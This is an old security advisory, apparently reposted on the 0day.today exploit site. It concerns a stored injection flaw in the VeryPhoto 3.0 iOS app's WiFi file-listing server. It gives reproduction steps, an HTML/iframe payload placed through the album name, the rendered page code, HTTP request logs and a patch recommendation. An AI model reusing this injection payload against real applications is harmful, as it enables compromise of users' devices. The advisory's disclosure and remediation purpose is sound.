[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

VeryPhoto 3.0 Command Injection Vulnerability

Author
bot
Risk
[
Security Risk High
]
0day-ID
0day-ID-23131
Category
local exploits
Date add
17-01-2015
Platform
iOS
Document Title:
===============
VeryPhoto v3.0 iOS - Command Injection Vulnerability

Product & Service Introduction:
===============================
VeryPhoto Pro is your side of the most powerful local album management software that allows you to easily manage your massive photos, 
while giving you an unprecedented user experience. No in-app purchase, no functional limitations. album password - effectively protect 
your privacy. multi-touch browsing - Personalized operation allows you to have a different user experience. professional photo editing 
features - lets you easily have a professional-grade graphics processing technology. 

(Copy of the Vendor Homepage: https://itunes.apple.com/de/app/veryphoto-pro-album-password/id720810114 

Affected Product(s):
====================
Cheng Chen
Product: VeryPhoto - iOS Web Application (WiFi) 3.0

Technical Details & Description:
================================
A local command inject web vulnerability has been discovered in the official VeryPhoto v3.0 iOS mobile web-application.
The vulnerability allows remote attackers to inject own commands by usage of stored manipulated system/device values to 
compromise the apple mobile iOS application.

The command inject vulnerability is located in the vulnerable `albumname` value of the `HTTP Wifi Server`. Local attackers 
are able to inject own malicious system specific commands or path value requests by usage of the vulnerable `albumname` value. 
The execution of the command occurs in the `VeryPhoto - File Dir Index Listing` of the http wifi interface application. 
Attackers are able to manipulate the local albumname values by of the iOS default photo app by rename to execute the commands.

The attack vector is located on the application-side and the injection requires physical device access or a local low privileged 
device user account. Local attackers are also able to exploit the albumname validation issue in combination with persistent 
injected script codes.

The security risk of the local command/path inject vulnerability is estimated as medium with a cvss (common vulnerability 
scoring system) count of 5.6. Exploitation of the command/path inject vulnerability requires a low privileged iOS device 
account with restricted access and no user interaction. Successful exploitation of the vulnerability results in unauthorized 
execution of system specific commands and unauthorized path value requests to compromise the mobile iOS application and the 
connected device components.


Request Method(s):
        [+] [Sync]

Vulnerable Module(s):
        [+] Album

Vulnerable Parameter(s):
        [+] albumname

Affected Module(s):
        [+] VeryPhoto - File Dir Index Listing (http://localhost:8080/)


Proof of Concept (PoC):
=======================
The local command inject web vulnerability can be exploited by local attackers (network) without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Install the VeryPhoto Pro Album v3.0 iOS application (https://itunes.apple.com/de/app/veryphoto-pro-album-password/id720810114)
2. Open in the device menu the default photo album app of apple (iphone/ipad)
3. Add a new album and change the name to local command that should be injected
4. Save the settings and open the VeryPhoto Pro Album application
5. Start the Wifi service
6. Surf with a local network device to the local web-server (localhost:8080)
Note: The execution of the command inject occurs after the wifi interface index has been visited. The vulnerable value that executes the command is the albumname.
7. Successful reproduce of the local command inject web vulnerability! 


PoC: Albumname - File Dir Index
</script><tr><td height="170" width="150"><p align="center">
<img src="getCoverImage?%7B%22name%22:%22%5C%22%3E%3C[LOCAL COMMAND INJECTION VULNERABILITY!]img%20src=%5C%22x%5C%22%3E%2520%3Ciframe%20src=a%3E%3E%22,%22type%22:%222%22,%22groupType%22:2,%22url%22:%22
assets-library://group/?id=7BADE58E-C286-43D8-8CE2-4415C4DF35CA&filter=1537%22,%22numberOfImage%22:%220%22%7D" onclick="albumClick('0')" border="0" 
height="150" width="170"></p></td><td height="170" width="50"></td><td height="170" width="150"><p align="center">
<img src="getCoverImage?%7B%22name%22:%22Camera%20Roll%22,%22type%22:%222%22,%22groupType%22:16,%22url%22:%22assets-library://group/?id=70169F06-36C7-430C-AA4F-55B95E268426%22,
%22numberOfImage%22:%223%22%7D" onclick="albumClick('1')" border="0" height="150" width="170"></p></td><td height="170" width="50"></td><td height="170" width="150">
<p align="center"><img src="getCoverImage?%7B%22name%22:%22My%20Photo%20Stream%22,%22type%22:%222%22,%22groupType%22:32,%22url%22:%22
assets-library://group/?id=F8476D51-E4C9-4A2A-948B-2D577719B9C7&filter=1537%22,%22numberOfImage%22:%220%22%7D" onclick="albumClick('2')" 
border="0" height="150" width="170"></p></td><td height="170" width="50"></td><td height="170" width="150"></td></tr><tr><td height="20"> 
<p align="center"><font size="2" face="Courier New">"><img src="x">%20<iframe src="a">>(0)</font></td><td height="20" width="50"></td>
<td height="20" > <p align="center"><font face="Courier New" size="2">Camera Roll(3)</font></td><td height="20" width="50"></td><td height="20" > 
<p align="center"><font face="Courier New" size="2">My Photo Stream(0)</font></td><td height="20" width="50"></td><td height="20" > 
<p align="center"></td></tr><tr><td height="20" colspan="7"></td></tr>
    </table>
</div>


--- PoC Session Logs [GET] (Execution) ---
Status: 200[OK]
GET http://192.168.2.104:8080/getCoverImage?%7B%22name%22:%22%5C%22%3E%3Cimg%20src=%5C%22x%5C%22%3E%2520%3Ciframe%20src=a%3E%3E%22,%22type%22:%222%22,%22groupType%22:2,%22url%22:%22assets-library://group/?id=7BADE58E-C286-43D8-8CE2-4415C4DF35CA&filter=1537%22,%22numberOfImage%22:%220%22%7D Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[3813] Mime Type[image/x-jpg]
   Request Header:
      Host[192.168.2.104:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://192.168.2.104:8080/]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   Response Header:
      Accept-Charset[utf-8]
      Content-Length[3813]
      Content-Type[image/x-jpg]
      Connection[close]


- Response

Status: OK[200] 
GET http://192.168.2.104:8080/x[LOCAL COMMAND INJECTION VULNERABILITY!] 
Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[192.168.2.104:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://192.168.2.104:8080/]



Reference(s):
http://localhost:8080/x
http://localhost:8080/getCoverImage


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure encode and parse of the vulnerable `albumname` value.
Restrict the albumname value and disallow special charsi to prevent application-side injection attacks.
Encode in the file dir index listing the vulnerable output value to prevent the execution of local commands.

#  0day.today [2024-11-15]  #